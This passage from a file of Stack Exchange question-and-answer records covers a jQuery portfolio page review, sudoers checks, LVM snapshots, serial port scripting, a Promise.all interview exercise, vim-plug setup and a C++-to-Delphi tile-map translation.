             <span class=sr-only>Toggle Navigation</span>                <span class=icon-bar></span>                <span class=icon-bar></span>                <span class=icon-bar></span>              </button>              <a class=navbar-brand href=#1>Brandon Gottschling</a>            </div>            <!-- Collect the nav links, forms, and other content for toggling -->            <div class=collapse navbar-collapse>              <ul class=nav navbar-nav navbar-right>                <li id=home><a href=#1><span class=glyphicon glyphicon-home></span> Home</a></li>                <li id=about><a href=#2><i class=fa fa-info-circle nav-icon></i>                About</a></li>                <li id=portfolio><a href=#3><i class=fa fa-folder-open nav-icon></i>                Portfolio</a></li>                <li id=contact><a href=#4><i class=fa fa-envelope nav-icon></i>                Contact</a></li>              </ul>            </div>            <!-- /.navbar-collapse -->          </div>          <!-- /.container-fluid -->        </nav>        <br/>        <div class=row>          <div class=jumbotron home id=1>            <img class=image-border img-responsive text-center src=http://i1382.photobucket.com/albums/ah249/alyssa_marie21/facebrandon_zpsdsvir6wl.jpg alt=Brandon Gottschling in a sweater!>            <h2 class=text-center>Brandon Gottschling             </h2>            <h3 class=text-center>Full Stack Developer</h3>            <h4 class=text-center>Atlanta, Georgia</4>          </div>        </div>        <div class=row>          <div class=container well about id=2>            <h2 class=text-center title-text>About Me</h2>            <p class=>              I am very passionate about technology and how it advances us as a civilization. Currently in my career I am employed as a Product Specialist supporting a content management system at <a href=http://www.vertafore.com/>Vertafore</a>, an insurance              software company. I have life long aspirations to become a software developer. I currently use <strong>HTML5</strong>, <strong>CSS3</strong>, <strong>JavaScript</strong> and other JS frameworks like <strong>Bootstrap</strong>, <strong>JQuery</strong>,              <strong>AngularJS</strong>, <strong>ExpressJS</strong>, and <strong>NodeJS</strong>. I also have experience with <strong>MongoDB</strong>, and <strong>T-SQL</strong>. What interests me the most about the JavaScript language is that it allows              you to develop front and back-end applications all using one language. I find the MEAN stack, as they call it, practical due to the fact that you are not flipping between different languages. Not to mention its leverage of HTTP for scalability,              availability, and versatility. What I mean by this is that you can develop robust applications with next to no footprint, readily available wherever there is an internet connection and a web browser. To me, something about that seems powerful.            </p>          </div>        </div>        <div class=row>          <div class=container well portfolio id=3>            <h2 class= text-center title-text>Portfolio</h2>            <div class=row>              <div class=col-md-4>                <a href=http://codepen.io/brandon-gottschling/full/XmLvmo/ class=thumbnail target=_blank>                  <img src=http://i1382.photobucket.com/albums/ah271/Brandon_Gottschling/thumbnail1_zpsdbbhlko6.png alt= class=img-thumbnail>                  <div class=caption>                    <p>Quote-O-Matic</p>                  </div>                </a>              </div>              <div class=col-md-4>                <a href=# class=thumbnail>                  <img src=http://i1382.photobucket.com/albums/ah249/alyssa_marie21/iph_zpsrzdkhjpj.jpg alt= class=img-thumbnail>                  <div class=caption>                    <p>Project #2</p>                  </div>                </a>              </div>              <div class=col-md-4>                <a href=# class=thumbnail>                  <img src=http://i1382.photobucket.com/albums/ah249/alyssa_marie21/iph_zpsrzdkhjpj.jpg alt= class=img-thumbnail>                  <div class=caption>                    <p>Project #3</p>                  </div>                </a>              </div>              <div class=col-md-4>                <a href=# class=thumbnail>                  <img src=http://i1382.photobucket.com/albums/ah249/alyssa_marie21/iph_zpsrzdkhjpj.jpg alt= class=img-thumbnail>                  <div class=caption>                    <p>Project #4</p>                  </div>                </a>              </div>              <div class=col-md-4>                <a href=# class=thumbnail>                  <img src=http://i1382.photobucket.com/albums/ah249/alyssa_marie21/iph_zpsrzdkhjpj.jpg alt= class=img-thumbnail>                  <div class=caption>                    <p>Project #5</p>                  </div>                </a>              </div>              <div class=col-md-4>                <a href=# class=thumbnail>                  <img src=http://i1382.photobucket.com/albums/ah249/alyssa_marie21/iph_zpsrzdkhjpj.jpg alt= class=img-thumbnail>                  <div class=caption>                    <p>Porject #6</p>                  </div>                </a>              </div>            </div>          </div>          <div class=row>            <div class=container well contact id=4>             <div class= title-text text-center>               <h2>Contact Me</h2>              <h4>Let My Passion Be Your Product</h4>             </div>            <div class=row social_buttons>              <div class=col-sm-offset-1 col-md-2 text-center linkedin>                <a href=https://www.linkedin.com/in/bgottschling class=btn btn-default btn-lg center-block role=button target=_blank><i class=fa fa-linkedin></i> LinkedIn</a>              </div>              <div class=col-md-2 text-center>                <a href=https://github.com/bgottschling class=btn btn-default btn-lg center-block role=button target=_blank><i class=fa fa-github></i> Github</a>              </div>              <div class=col-md-3 text-center>                <a href=http://www.freecodecamp.com/bgottschling class=btn btn-default btn-lg center-block role=button target=_blank><i class=fa fa-fire></i> freeCodeCamp</a>              </div>              <div class=col-md-2 text-ceneter>                <a href=http://codepen.io/brandon-gottschling class=btn btn-default btn-lg center-block role=button target=_blank><i class=fa fa-codepen></i> Codepen</a>              </div>            </div>          </div>        </div>        <div class=footer>          <div class=container>            <p class=>Copyright  Brandon Gottschling 2015. All Rights Reserved</p>          </div>        </div>      </div>      <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>      <script src='http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js'></script>      <script src=js/index.js></script>    </body></html>CSS:body {  background: #A9E7F8;}.image-border {  border-radius: 50% 5% 50% 5%;  height: 15%;  width: 15%;  margin: 0 auto;}.about {  background: #A8FBAD;  font-size: 15px;  height: 100%;}.portfolio {  background: #FFD5AA;}.contact {  background: #B2B9FA;}.footer {  color: #FFFFFF;}.img-thumbnail {  max-height: 346px;  max-width: 200px;}.linkedin {  margin-left: 12%;}.title-text { margin-bottom: 3%; }JS:$(document).ready(  $(.navbar-right li).hover(    function() {      if (!$(this).hasClass('animated')) {        $(this).dequeue().stop().animate({          width: 120px        });      }    },    function() {      $(this).addClass('animated').animate({          width: 103px        }, normal, linear,        function() {          $(this).removeClass('animated').dequeue();        }      );    }  ),  $(#home).hover(    function() {      $(.home).addClass(animated bounce);    },    function() {      $(.home).removeClass(animated bounce);    }),  $(#about).hover(    function() {      $(.about).addClass(animated bounce);    },    function() {      $(.about).removeClass(animated bounce);    }),  $(#portfolio).hover(    function() {      $(.portfolio).addClass(animated bounce);    },    function() {      $(.portfolio).removeClass(animated bounce);    }),  $(#contact).hover(    function() {      $(.contact).addClass(animated bounce);    },    function() {      $(.contact).removeClass(animated bounce);    }));"  , "title": "Page for personal portfolio animations"  , "tags": "javascript;jquery;css;html5"  , "accepted_answer": "With jQuery it's usually faster to not use the shorthand methods for event binding.There should be a performance increase if you change your hover methods to something like the following:$(#contact)    .on(mouseenter, function () {        $(.contact).addClass(animated bounce);    })    .on(mouseleave, function () {        $(.contact).removeClass(animated bounce);    })I would also try to avoid jQuery animations. Alternatives might be GSAP or velocity.js (there are many others). Also if you used one of them you might not need jQuery ;)EDITYou should also move the .row containing your Contact Me out of its parent (also .row) so they are on the same level. At the moment it's the reason your page has a horizontal overflow.EDIT 2Nice, happy to help. A further improvement would be to replace$(#+ $(this).attr(id))with$(# + this.id)(same thing goes for the class selector in the mouseleave)If you use the same jQuery object several times it is best to reference it in a variable and use that. Its faster then creating the object each time.EDIT 3An even greater improvement would be to replace$(#+ $(this).attr(id))with$(this)(I had to laugh when I realized it ;)"  } 
{  "id": "_unix.62227"  , "question": "I would like to use my headset's microphone both on my Linux laptop and a Windows 7 PC simultaneously, for different VoIP applications. I'm currently running Ubuntu with PulseAudio on the laptop to which the headset is connected and I've heard that there are Windows implementations of PulseAudio. Therefore it should theoretically be possible to make the microphone available over my LAN as an PCM stream.I'm asking now if someone has more detailed insights if this is actually doable with current software or opinions from people with more knowledge about the PulseAudio system if further investigation is likely to pay off. Ideas on doing it in any way without PulseAudio are also acceptable."  , "title": "Making a Linux audio recording device available on a Windows 7 PC over network"  , "tags": "networking;audio;windows;pulseaudio"  } 
{  "id": "_unix.252795"  , "question": "Is it possible to perform a visudo sanity check for a file in the context of other files included from /etc/sudoers.d?Scenario:I want to add a new file to /etc/sudoers.d the file itself is correct and it passes the visudo -c parser.It does however contain a Cmnd_Alias line which conflicts with another file in etc/sudoers.d.If moved to a /etc/sudoers.d it would break the sudo command with Alias '<name>' already defined near line error.Question:Is there any method which I could employ to check if the new file wouldn't break the sudo after placing it in sudoers.d?Or is there any method to make sudo ignore/stop processing included files if there was any error encountered?"  , "title": "Visudo sanity check for the whole ecosystem of included files?"  , "tags": "sudo"  , "accepted_answer": "You might try checking a concatenation of /etc/sudoers and the proposed new file:sudo bash -c 'visudo -cf <(cat /etc/sudoers /path/to/to-be-added-file)'Since visudo will parse the #includedir in /etc/sudoers, all the relevant files in sudoers.d would be checked as well.$ sudo cat /etc/sudoers.d/fooCmnd_Alias FOO = /bin/bar$ sudo cat /tmp/barCmnd_Alias FOO = /bin/foo$ sudo bash -c 'visudo -cf <(cat /etc/sudoers /tmp/bar)'>>> /dev/fd/63: Alias `FOO' already defined near line 31 <<<parse error in /dev/fd/63 near line 31"  } 
{  "id": "_unix.387818"  , "question": "I'm running lvcreate --size $snapshot_size --snapshot --name mdb-snap-00 /dev/vg0/mongodbto create a snapshot of our mongo partition.$snapshot_size is 362MHowever after creating it, lsblk gives menvme0n1                 259:0    0 442.4G  0 disk vg0-mongodb-real      252:1    0 221.2G  0 lvm   vg0-mongodb         252:0    0 221.2G  0 lvm  /mnt/data vg0-mdb--snap--00   252:3    0 221.2G  0 lvm  vg0-mdb--snap--00-cow 252:2    0   364M  0 lvm    vg0-mdb--snap--00   252:3    0 221.2G  0 lvmThis is an issue for me, because I'm trying to dd the snapshot pipe it to gzip and pipe that to an aws bucket but it timeouts everytime. I just learnt that this happens because it's trying to do the whole 221G disk even though the data on it and the specified snapshot size are only 362MbEditroot@ip-10-0-97-77:~# lvs  LV          VG   Attr       LSize   Pool Origin  Data%  Meta%  Move Log Cpy%Sync Convert  mdb-snap-00 vg0  swi-a-s--- 364.00m      mongodb 0.48                                     mongodb     vg0  owi-aos--- 221.15g"  , "title": "lvcreate snapshot creates a larger snapshot than the snapshot size"  , "tags": "rhel;lvm"  , "accepted_answer": "Logical volumes are multiples of the PE (physical extents) size which is by default 4MiB. 362 cannot be divided by 4 thus LVM rounds up the size to 364.I don't think it is easily possible to change the PE size.You could create a 362 MiB file, though, put a loop device onto it and configure the snapshot manually (dmsetup), having it point there. But that is probably something for experienced users.You are reading more than the intended 362/364 MiB because you are reading from the wrong device. The snapshot device is a copy of the original one thus it has the same size. You have to read from the COW device directly."  } 
{  "id": "_unix.231975"  , "question": "I have some device, connected to serial port. Actually, it is Arduino based temperature sensor. I wish to write a script, which will connect to serial port, send a command to device, receive it's answer, print it to stdout and exit.What is correct way to do this?Usually, when accessing local program, it is ok to redirect it's output. For example, this is how I read CPU temperature.datetime=$(date +%Y%m%d%H%M%S)cputemp=$(sensors atk0110-acpi-0 | sed s/CPU Temperature:[^0-9]*\\([0-9\\.]\\+\\).*/\\1/;tx;d;:x)echo $datetime\\t$cputempUnfortunately, $() relies on explicit program end, which is not the case with serial communication. Serial server always online and has no explicit sessions.Of course, I can check to line feeds. But is this correct action? May be I should write my Arduino program so that it send Ctrl-Z after each response or something?"  , "title": "Connect to serial, issue a command, read result, capture it and exit"  , "tags": "serial port;serial console"  , "accepted_answer": "As you say, you cannot read end-of-file from a serial port. (Ctrl-Z is a microsoft thing). So usually, you read until you have the wanted numberof characters, or until you find a delimiter like newline that signalsthe end of the data.  For example, I have a usb serial port with output connected back to input, so any writes to the device simply come straight back.  The following script can retrieve what the device sends:#!/bin/bashtty=/dev/ttyUSB0exec 4<$tty 5>$ttystty -F $tty 9600 -echoecho abcdef >&5read reply <&4echo reply is $replyThe script connects the serial device as file descriptor 4 for input, 5 foroutput, sets the speed and stops the echo you get for a tty, then writesabcdef and newline to the device. Each character will be sent back immediately, but the kernel driver will buffer up some input, so I dont need to startto read from the device before doing the write. The read ends by default when itsees a newline, and saves it in the variable reply, which is then echoed to stdout. You can put this script inside a v=$() type usage.If your serial device data does not end with a newline, you can specify a different delimiter to the bash read with -d. Or if the reply is of a constantlength, you can specify a length with -n. If you have binary data, you probably should add raw to the stty command to stop any special treatment of input."  } 
{  "id": "_softwareengineering.208257"  , "question": "I have the following lines of code in my application:return Service is alive since:  + TimeUnit.MILLISECONDS.toMinutes(mxBean.getUptime()) +  minutes;It uses the following package:import java.util.concurrent.TimeUnit;My application is a web application. Does it means that I have something wrong logically if I use something from concurrent package at a web application?"  , "title": "Utilizing a Java Concurrent Utility from a Web App"  , "tags": "java;design;packages"  } 
{  "id": "_codereview.134224"  , "question": "A few years back I interviewed with a company for a Javascript position. After a couple of warm-up challenges I was presented with this:Please write a function that calls back with true if all  promises have resolved successfully, or false if at least one  promise has rejected.Given 'Promise' API:promise.then(  function resolve() { /* called when some async thing was successful */},  function reject() { /* the async thing failed */ });and also was given the following function structure and mocking code:function all (promises, callback) {    // TODO call back with `true` if all promises resolve(), or `false` if a promise has reject()ed    promises.forEach(function (promise) {        promise.then(          function resolve() {},          function reject() {}        );    });}// Some mocking code (NO NEED TO READ THIS):function P() { return { then: function (resolve, reject) {  setTimeout(function() { (5*Math.random()|0) ? resolve() : reject() }, Math.random()*1000);}}}var promises = [1,2,3,4,5].map(P);all(promises, function (success) {  console.log('The promises have ' + ( success ? '' : 'not ' ) + 'all resolved!' )});The gist of it: I had to write an almost Promise.all() method that would check if all async functions finished and how they finished (resolve/reject).I didn't finish the challenge in the allocated time frame, so I failed (and years later, looking at the code I've written to finally solve it, if was the interviewer, I would failed me even if I was done in time...)My current implementationA few days ago I found the challenged buried on the hard drive and decided to give it a go (I timed myself to finish it in time):Does not re-include the mocking code from above, but it is included in the jsbin belowfunction all (promises, callback) {    const promisesStatus = [];    const allPromisesChecked = (promisesArray = promises, promisesStatusArray = promisesStatus) => promisesStatusArray.length === promisesArray.length;    const allPromisesPassed = (promisesArray = promisesStatus) => {        if (promisesArray.filter(value => !value).length === 0) { return true; }        return false;    };    promises.forEach(function (promise) {        promise.then(          function resolve() {              promisesStatus.push(true);              if (allPromisesChecked() && allPromisesPassed()) { callback(true); }          },          function reject() {              promisesStatus.push(false);              if (allPromisesChecked() && !allPromisesPassed()) { callback(false); }          }        );    });};JSBin: https://jsbin.com/dajini/edit?js,consoleQuestionsKeeping in mind that this is to be done under the clock and under the interviewer's eyes (pair programming), hence under stress...Implementation - Leaving aside minor performance optimizations, could I have done it better? Another way that I am unaware of ?Time - How long does it take you ? (ballpark it) - Originally, I had to code two functions that dealt with string manipulations + this one in under 1 hour"  , "title": "Pseudo Promise.all() polyfill"  , "tags": "javascript;interview questions;promise"  , "accepted_answer": "ImplementationThe biggest thing that jumped out at me is your all function takes a callback instead of returning a Promise like Promise.all would do. (EDIT: it looks like the interview asked that of you, so that makes sense then. See my edit below)When your handling the reject branch of each promise (in the .then call), there's no reason to do anything fancy. As soon as you encounter an error, you can immediately reject the outer promise (or in your case, callback with an ErrorallPromisesChecked and allPromisesPassed gets a little verbose but as long as it works it kinda doesn't matterThis interested me so I took a shot at implementing it. Here's my code// Promise.all polyfillfunction all(promises) {  return new Promise(function(resolve,reject) {    var count = promises.length    var result = []    var checkDone = function() { if (--count === 0) resolve(result) }    promises.forEach(function(p, i) {      p.then(function(x) { result[i] = x }, reject).then(checkDone)    })  })}// delay helper for creating promises that resolve after ms millisecondsfunction delay(ms, value) {  return new Promise(function(pass) {    setTimeout(pass, ms, value)  })}// basic boilerplate to check an answerfunction checkAnswer(promises) {  all(promises).then(    function(xs) { console.log(xs) },    function(err) { console.log(err.message) }  )}// resolved promises wait for one another but ensure order is keptcheckAnswer([  delay(100, 'a'),  delay(200, 'b'),  delay(50, 'c'),  delay(1000, 'd')])// check that error rejects asapcheckAnswer([  delay(100, 'a'),  delay(200, 'b'),  Promise.reject(Error('bad things happened')),  delay(50, 'c'),  delay(1000, 'd')])TimeThis took me about 10 minutes. If someone already has experience with Promises, I would expect someone could come up with a working solution in less than 30 minutes. If you've never seen Promises before, maybe 60 minutes?EDITRe-reading the question, I see that my original answer is an actual polyfill of Promise.all, not what the interview asked of you.Here's a dramatically simplified function that is essentially useless except for answering the interview question.// Promise.all wannabe// ([Promise], (bool-> void)) -> voidfunction all(promises, callback) {  var count = promises.length  promises.forEach(function(p, i) {    p.then(      function() { if (--count === 0) callback(true) },      function() { callback(false) }    )  })}// delay helper for creating promises that resolve after ms millisecondsfunction delay(ms, value) {  return new Promise(function(pass) {    setTimeout(pass, ms, value)  })}// basic boilerplate to check an answerfunction checkAnswer(label, promises) {  all(promises, function(result) {    console.log(label, result)  })}// resolved promises wait for one another but ensure order is keptcheckAnswer('example1', [  delay(100, 'a'),  delay(200, 'b'),  delay(50, 'c'),  delay(1000, 'd')])// check that error rejects asapcheckAnswer('example2', [  delay(100, 'a'),  delay(200, 'b'),  Promise.reject(Error('bad things happened')),  delay(50, 'c'),  delay(1000, 'd')])ImplementationSo in hindsight, I do have some more critique to offer. Considering the function only has to return true or false, there's no reason to make it complex. Basically you just have to count the resolve branches until it reaches the count of promises provided as input. If a reject happens, you can immediately return false. There's no need for any other code."  } 
{  "id": "_unix.327803"  , "question": "I always get a message:IMAP Authentication canceled And then: Retrying plain authentication after [ALERT] application-specificWhen I look at my google security settings I can't find any option to create an application specific password to associate with Alpine on my laptop.https://productforums.google.com/forum/#!topic/gmail/bSQZVxRIjb0"  , "title": "pine (Alpine) with GMail 2-step Authentication enabled?"  , "tags": "email;authentication;imap;alpine"  , "accepted_answer": "Do as recommended by Andreatsh in the comments.Go to http://myaccount.google.comThen  Sign-in & security -> Signin in to Google -> App passwordOnce you create the one time password you will also have to run:touch ~/.pine-passfileThis makes it so when you enter the gmail folder on Alpine you will be asked if you want to save the password."  } 
{  "id": "_cstheory.10386"  , "question": "Assume you are given a matrix$$ X= \\begin{bmatrix} x_1^1 & x_1^2 & \\dots & x_1^m \\\\ x_2^1 & x_2^2 & \\dots & x_2^m \\\\ \\vdots & \\vdots & \\ddots & \\vdots \\\\ x_n^1 & x_n^2 & \\dots & x_n^m \\end{bmatrix} $$such that all $x_i^j \\in \\big\\{0,1\\big\\}$, $\\vee$ is the logical OR, and:$$ \\forall i,j, \\quad x_{i}^j =  \\begin{cases} x_{i+1}^{j}\\vee x_{i+1}^{j-1} & \\text{if }\\:j\\neq1,\\\\ x_{i+1}^1\\vee x_{i}^m & \\text{otherwise}. \\end{cases} $$This is quite similar to the Pascal triangle with binomials, except here we are dealing with $0/1$ variables and regular addition is replaced by the logical OR.The problem now is to minimize: $$S=\\sum_{i,j} x_i^j,$$ where the trivial case $S=0$ with all $x_i^j=0$ is not an option. The sum is the one in the integers: $0<S\\leq n m$.EDIT: What can we say about the case where the $\\vee$ operator is no longer the logical OR, but is defined by: $0\\vee0=0$, $1\\vee0=0\\vee1=1$ and $1\\vee1\\in\\{0,1\\}$.Does this problem reduces to another one? Maybe there are references that I am not aware of. Thanks for your help."  , "title": "Minimization on a binary matrix"  , "tags": "cc.complexity theory;reference request;optimization"  } 
{  "id": "_unix.337662"  , "question": "Vim-plug installation on Ubuntu 16.10I'm a new user of Ubuntu, and I'd like a little bit of help with plugins. According to this website, I installed vim-plug with this command: curl -fLo ~/.vim/autoload/plug.vim --create-dirs \\    https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim I have also created the directory ~/.vim/plugged as suggested. So far I know I have to install my plugins inside (in ~/.vimrc file): call plug#begin('~/.vim/plugged')call plug#end()It is indicated I have to make the content of Download plug.vim available inside the 'autoload' directory. Question 1: What is the 'autoload' directory here?In fact, I want to install vim-plug to install several plugins like nerdtree. The way I understand the procedure is to go over the website https://github.com/scrooloose/nerdtree, and take only the part scrooloose/nerdtree to install the plugin : call plug#begin('~/.vim/plugged')Plug 'scrooloose/nerdtree'call plug#end()then execute :PlugInstall.Question 2 : Where do I have an issue (if there are any)?"  , "title": "Managing plugins in Ubuntu"  , "tags": "ubuntu;vim;plugin"  } 
{  "id": "_unix.231832"  , "question": "ShellCheck show the following error for this line of code:printf '%d' $(($(< $1) + 1)) > $1Make sure not to read and write the same file in the same pipelineIs this really a problem? Could reading and writing the same file result in a race condition?"  , "title": "Shellcheck complains that I should not to read and write the same file in the same pipeline"  , "tags": "bash;shell;io redirection;shellcheck"  , "accepted_answer": "Yes, reading and writing from the same file in parallel could result in a race condition. An input and an output redirection for the same file on the same command would truncate the file before starting to read it.But no, this isn't what's happening here. It's a false positive in Shellcheck. Here the redirection is inside an arithmetic expression. All substitutions (arithmetic, variable, command, as well as splitting and globbing) are performed before redirections are executed. So at the time > $1 opens the file, the reading bit is finished."  } 
{  "id": "_cs.1018"  , "question": "The main idea of k-Nearest-Neighbour takes into account the $k$ nearest points and decides the classification of the data by majority vote. If so, then it should not have problems in higher dimensional data because methods like locality sensitive hashing can efficiently find nearest neighbours.In addition, feature selection with Bayesian networks can reduce the dimension of data and make learning easier.However, this review paper by John Lafferty in statistical learning points out that non-parametric learning in high dimensional feature spaces is still a challenge and unsolved. What is going wrong?"  , "title": "Non-Parametric Methods Like K-Nearest-Neighbours in High Dimensional Feature Space"  , "tags": "machine learning;artificial intelligence"  , "accepted_answer": "This problem is known as the curse of dimensionality. Basically, as you increase the number of dimensions, $d$, points in the space generally tend to become far from all other points. This makes partitioning the space (such as is necessary for classification or clustering) very difficult.You can see this for yourself very easily. I generated $50$ random $d$-dimensional points in the unit hypercube at 20 evenly selected values of $d$ from $1..1000$. For each value of $d$ I computed the distance from the first point to all others and took the average of these distances. Plotting this, we can see that average distance is increasing with dimensionality even though the space in which we are generating the points in each dimension remains the same.Average distance vs. dimensionality"  } 
{  "id": "_softwareengineering.311472"  , "question": "Let me sketch the situation:I have multiple users, with certain properties (2 enums)For each user I need to fetch data, for some with some basic filtering, for some extended filtering (= basic filtering + extra filtering). I'd like to do that not separate for every user, but I'd rather group the users and do it in two queries.For every user, I need to filter that data depending on the values of the enums. I will always need to do GetFirstData() (method depending on first enum), GetLastData() (method depending on second enum), CheckData() (depending on both enums). I've been looking at the Strategy Pattern, but it seems that's more designed to implement one behavior. I want to combine my behaviors to avoid making the combinations between all GetFirstData and GetLastData, is there any pattern to do this better? I've been thinking on just using 2 delegates and assign the corresponding methods depending on the values of the enums. Would this be the cleanest way?Little example of what I mean:public class User{   public Enum1 FirstEnum {get; set;}   public Enum2 SecondEnum {get; set;}   ...}public IEnumerable<Data> Filter(int userId, Expression extraFilter){    var data = GetData(userId);    if(extraFilter != null)      data = data.Where(extraFilter);    return data;}public Data GetFirstData(IEnumerable<Data> data);public Data GetLastData(IEnumerable<Data> data);public bool CheckData(IEnumerable<Data> data);My endresult could do something like this:public class EndResult{    public Data FirstResult {get; set;}    public Data SecondResult {get; set;}    public Func<IEnumerable<Data>,Data> GetFirstData {get; set;}    public Func<IEnumerable<Data>,Data> GetLastData {get; set;}    public bool ExtendeFiltering {get; set;}    public EndResult(User user)    {        switch(user.enum1)        {            case: GetFirstData = specificFunction;                  ExtendedFiltering = true;            ...        }        //Second for GetLastData;    }    public void Execute()    {        GetData();        CheckData();        GetFirstData();        GetLastData();    }}Edit: For future readers who are curious, I didn't use delegates (not directly at least). I created 2 interface IFirst and ILast with a corresponding method. In my static create method defined on my processor class, I do the logic to create an instance of those interfaces based on certain conditions. The reason I left the path of directly using delegates is because it turned out I needed more parameters than just User for some of them. So I resorted to different implementations based on the parameters I need in the constructor of those classes."  , "title": "Strategy Pattern not sufficient for my problem?"  , "tags": "c#;design patterns;delegates"  , "accepted_answer": "Using delegates in the suggested manner is a specific form of the strategy pattern which can always be used if the strategy objects are as simple as a function (see here, for example).However, the essence of your code is that you have an object of type EndResult which encapsulates how a set of operations interact (if the operations are given by strategy objects or strategy delegates does not matter). This is called Mediator pattern, the Mediator here provides what is called context in this description of the strategy pattern.Deciding between the different strategies will typically be the task of a factory method. If you make that method part of your mediator (as in your example, in the constructor of the EndResult), or if you prefer to delegate this to another class, is something you need to decide by yourself. It depends on things of the overall size and structure of that class and the surroundings, and how much separation of concerns you really need. I would typically start with a small solution (both in one class) and refactor as soon as the class starts getting too large."  } 
{  "id": "_softwareengineering.103178"  , "question": "Very commonly we have feature requests for fields that only one customer wants. This, at best, clutters the application's code. Often when we look in their database a few months after adding the fields, we can see that they are not actually even using the extra fields. Also, it's quite an old application so adding a single field requires multiple code changes, changing reports, and making sure that it doesn't affect other customers who do not need to see the field.How can we make sure that a customer actually needs these feature requests? How do we politely say you don't really need that?Currently we are beginning to charge for certain feature requests. (Previously, feature requests were free usually) Is there anything else we can do? "  , "title": "How to handle can you add just a few more fields type of requests from customers?"  , "tags": "customer relations;feature requests"  } 
{  "id": "_unix.367197"  , "question": "I've looked into sorting the result of du before and only ever seen suggestions to sort the result such as du | sort.This is acceptable for most uses but it is specifically unhelpful when listing multiple directories with hardlinks.  For example I have an incremental backup:If du doubly count's hard links the content looks like this# du -hl --max-depth 1 /backup/saturn/ | sort -k 23.2G    /backup/saturn/456M    /backup/saturn/2017-05-19458M    /backup/saturn/2017-05-20461M    /backup/saturn/2017-05-21464M    /backup/saturn/2017-05-22462M    /backup/saturn/2017-05-23462M    /backup/saturn/2017-05-24465M    /backup/saturn/2017-05-25But these results aren't true because each dated dir shares a lot of hard links to other dir's files.... It's an incremental backup.But the more meaningful result looks like this.# du -h --max-depth 1 /backup/saturn/ | sort -k 2666M    /backup/saturn/29M     /backup/saturn/2017-05-1953M     /backup/saturn/2017-05-2025M     /backup/saturn/2017-05-2140M     /backup/saturn/2017-05-22462M    /backup/saturn/2017-05-2314M     /backup/saturn/2017-05-2446M     /backup/saturn/2017-05-25This is a little nonsensical because it has evaluated the dirs in an arbitrary order and so gives much less meaningful information on how much has changed from one date to the next.So I'm looking for a way to control the order du evaluates directories."  , "title": "How to change du recursion order"  , "tags": "shell script;disk usage"  } 
{  "id": "_webmaster.4095"  , "question": "Today I saw my website's page rank gone down from 2 to 0.  It happened once before as well. I don't remember spamming anywhere and I don't have too many posts on my forum. I heard they are very strict about forum websites and frequently try to keep the rank down. Have anyone of you experienced this?"  , "title": "Why does Google remove PageRank sometimes?"  , "tags": "google;pagerank"  } 
{  "id": "_codereview.83293"  , "question": "I'd like to know if I translated a piece of code correctly from C++ to Delphi. It looks like it is working, but I have a feeling that I'm reading and writing into memory that I'm not supposed to using Delphi.Given C++ code:struct tile_map{    int32 CountX;    int32 CountY;    uint32 *Tiles;};inline uint32GetTileValueUnchecked(tile_map *TileMap, int32 TileX, int32 TileY){    uint32 TileMapValue = TileMap->Tiles[TileY*TileMap->CountX + TileX];    return(TileMapValue);}uint32 Tiles00[9][17] =    {        {1, 1, 1, 1,  1, 1, 1, 1,  0, 1, 1, 1,  1, 1, 1, 1, 1},        {1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1},        {1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1},        {1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1},        {0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1},        {1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1},        {1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1},        {1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1},        {1, 1, 1, 1,  1, 1, 1, 1,  1, 1, 1, 1,  1, 1, 1, 1, 1},    };// More tile map declarations ...   // uint32 Tiles01[9][17] = ...// uint32 Tiles10[9][17] = ...// uint32 Tiles11[9][17] = ...      tile_map TileMaps[2][2];    TileMaps[0][0].CountX = 17;    TileMaps[0][0].CountY = 9;    TileMaps[0][0].Tiles = (uint32 *)Tiles00;    TileMaps[0][1] = TileMaps[0][0];    TileMaps[0][1].Tiles = (uint32 *)Tiles01;    TileMaps[1][0] = TileMaps[0][0];    TileMaps[1][0].Tiles = (uint32 *)Tiles10;    TileMaps[1][1] = TileMaps[0][0];    TileMaps[1][1].Tiles = (uint32 *)Tiles11;// Usage    int32 PlayerTileX = 2;    int32 PlayerTileY = 2;    uint32 TileMapValue = GetTileValueUnchecked(&TileMap[1][1], PlayerTileX, PlayerTileY);Delphi translation:program Project1;{$APPTYPE CONSOLE}type    Puint32 = ^uint32;    tile_map = record        CountX : int32;        CountY : int32;        Tiles : Puint32;    end;    Ptile_map = ^tile_map;{$POINTERMATH ON}   function GetTileValueUnchecked(TileMap : Ptile_map; TileX, TileY : int32) : uint32; inline;begin    result := TileMap^.Tiles[TileY * TileMap^.CountX + TileX];end;const //in the future these will be read from file, so const for now    Tiles00:  array [0..8, 0..16] of uint32 =    (        (1, 1, 1, 1,  1, 1, 1, 1,  0, 1, 1, 1,  1, 1, 1, 1, 1),        (1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1),        (1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1),        (1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1),        (0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1),        (1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1),        (1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1),        (1, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0,  0, 0, 0, 0, 1),        (1, 1, 1, 1,  1, 1, 1, 1,  1, 1, 1, 1,  1, 1, 1, 1, 1)    );    // More tile map declarations ...    //Tiles01:  array [0..8, 0..16] of uint32 = ...    //Tiles10:  array [0..8, 0..16] of uint32 = ...    //Tiles11:  array [0..8, 0..16] of uint32 = ...var     TileMaps : array [0..1, 0..1] of  tile_map;    PlayerTileX, PlayerTileY : int32;    TileMapValue : uint32;begin    